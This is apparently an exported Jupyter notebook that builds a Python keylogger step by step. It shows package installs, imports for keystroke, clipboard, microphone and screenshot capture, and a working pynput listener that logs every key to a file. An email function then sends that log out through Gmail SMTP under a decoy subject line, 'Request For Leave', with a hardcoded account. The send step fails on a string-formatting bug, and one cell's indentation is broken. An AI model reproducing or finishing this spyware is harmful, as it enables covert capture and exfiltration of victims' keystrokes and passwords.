KEYLOGGERS

Unsupported Cell Type. Double-Click to inspect/edit the content.

Required Packages

```
pip install pywin32
```

```
Requirement already satisfied: pywin32 in c:\users\dell\anaconda3\lib\site-packages (227)
Note: you may need to restart the kernel to use updated packages.
```

```
pip install pynput
```

```
Requirement already satisfied: pynput in c:\users\dell\anaconda3\lib\site-packages (1.7.6)
Requirement already satisfied: six in c:\users\dell\anaconda3\lib\site-packages (from pynput) (1.15.0)
Note: you may need to restart the kernel to use updated packages.
```

```
pip install scipy
```

```
Requirement already satisfied: scipy in c:\users\dell\anaconda3\lib\site-packages (1.6.2)
Requirement already satisfied: numpy<1.23.0,>=1.16.5 in c:\users\dell\anaconda3\lib\site-packages (from scipy) (1.20.1)
Note: you may need to restart the kernel to use updated packages.
```

```
pip install cryptography
```

```
Requirement already satisfied: cryptography in c:\users\dell\anaconda3\lib\site-packages (3.4.7)
Requirement already satisfied: cffi>=1.12 in c:\users\dell\anaconda3\lib\site-packages (from cryptography) (1.14.5)
Requirement already satisfied: pycparser in c:\users\dell\anaconda3\lib\site-packages (from cffi>=1.12->cryptography) (2.20)
Note: you may need to restart the kernel to use updated packages.
```

```
pip install requests
```

```
Requirement already satisfied: requests in c:\users\dell\anaconda3\lib\site-packages (2.25.1)
Requirement already satisfied: chardet<5,>=3.0.2 in c:\users\dell\anaconda3\lib\site-packages (from requests) (4.0.0)
Requirement already satisfied: idna<3,>=2.5 in c:\users\dell\anaconda3\lib\site-packages (from requests) (2.10)
Requirement already satisfied: urllib3<1.27,>=1.21.1 in c:\users\dell\anaconda3\lib\site-packages (from requests) (1.26.4)
Requirement already satisfied: certifi>=2017.4.17 in c:\users\dell\anaconda3\lib\site-packages (from requests) (2020.12.5)
Note: you may need to restart the kernel to use updated packages.
```

```
pip install pillow
```

```
Requirement already satisfied: pillow in c:\users\dell\anaconda3\lib\site-packages (8.2.0)
Note: you may need to restart the kernel to use updated packages.
```

```
pip install sounddevice
```

```
Requirement already satisfied: sounddevice in c:\users\dell\anaconda3\lib\site-packages (0.4.5)
Requirement already satisfied: CFFI>=1.0 in c:\users\dell\anaconda3\lib\site-packages (from sounddevice) (1.14.5)
Requirement already satisfied: pycparser in c:\users\dell\anaconda3\lib\site-packages (from CFFI>=1.0->sounddevice) (2.20)
Note: you may need to restart the kernel to use updated packages.
```

Importing Libraries

```
#for email libraries
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.mime.base import MIMEBase
import smtplib
```

Secure/Multipurpose Internet Mail Extension (S/MIME) is an industry-standard for email encryption and signature that is commonly used by businesses to improve email security. S/MIME is supported by the majority of corporate email clients. MIME is a kind of add-on or a supplementary protocol that allows non-ASCII data to be sent through SMTP. Multipurpose Internet Mail Extension (MIME) Protocol

```
#libraries for collecting computer information
import socket
import platform
```

```
#for clipboard
import win32clipboard
```

```
#for grabbing keystrokes
from pynput.keyboard import Key , Listener
```

```
#for system information to track the time
import time
import os
```

```
#for microphone capabilities
from scipy.io.wavfile import write
import sounddevice as sd
```

```
#to encrypt files
from cryptography.fernet import Fernet
```

```
#to get username and some other computer information
import getpass
from requests import get


#for screenshot functionality
from multiprocessing import Process ,freeze_support
from PIL import ImageGrab
```

Buliding a basic keylogger

Unsupported Cell Type. Double-Click to inspect/edit the content.

```
key_information = "key_loggers.txt"


file_path = "C:\\Users\\dell\\PycharmProjects\\pythonProject\\project"


extend ="\\"


#constant variables and empty list keys were new keys will appended
count =0
keys=[]


def on_press(key):
    global keys,count
    print(key)
    keys.append(key)
    count += 1

    if count >=1:
        count = 0
        write_file(keys)
        keys = []

#write  files
def write_file(keys):
    with open(file_path + extend + key_information , "a")as f: # a for append
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')# for every space new lines will made
                f.close()
            elif k.find ("Key") == -1:
                f.write(k)
                f.close()
```

```
def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press =on_press, on_release=on_release) as listener:
    listener.join()
```

Email Functionality

How to not only send email and also add an attachament so for instance the keys log file so that we can access the email.

```
email_address="keyloggersproject@gmail.com"#have to put to new rando gmail account
password="keyloggers"#password of that account
toaddr="keyloggersproject@gmail.com"# we can put another email account which we need to send mail ..For instance here we put same email.


def send_email(filename,attachment,toaddr):
    fromaddr=email_address
    msg =MIMEMultipart()

    msg['From']=fromaddr
    msg['To']=toaddr
    msg['Subject']="Request For Leave"#any subject that you want to put
    body = "Body_of_the_mail"
    msg.attach(MIMEText(body,'plain'))

    #attachments
    filename = filename
    attachment = open (attachment,'rb' )#read the atttachment

    #Create MIMEBase
    p = MIMEBase('application', 'octet-stream') #default settings added to MIMEBase

    #encode the messages
    p.set_payload ((attachment).read ())#read attachments

    #finishing encoding with base 64
    encoders.encode_base64(p)

    #add a header and attach the message
    p.add_header ('Content-Disposition',"attachment; filename= 8s" % filename)
    msg.attach(p)

    #Simple Mail Transfer Protocol (STMP) >> SMTP is used to send and receive email.
    s = smtplib.SMTP('smtp.gmail.com', 587)#server and port used for accessing gmail

    # We must secure whatever data data we are taking so we need to start a TLS (Transport Lyaer Security)
```

```
        s.starttls ()

        #Login to gmail address
        s.login (fromaddr, password)

        #To convert a multipart message into string
        text = msg.as_string ()

        #send email
        s.sendmail (fromaddr, toaddr, text)

        s.quit ()

    send_email(key_information,file_path+extend+key_information,toaddr)
```

```
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-34-38164246473e> in <module>
     43     s.quit ()
     44
---> 45 send_email(key_information,file_path+extend+key_information,toaddr)

<ipython-input-34-38164246473e> in send_email(filename, attachment, toaddr)
     23
     24     #add a header and attach the message
---> 25     p.add_header ('Content-Disposition',"attachment; filename= 8s" % filename)
     26     msg.attach(p)
     27

TypeError: not all arguments converted during string formatting
```

SEARCH STACK OVERFLOW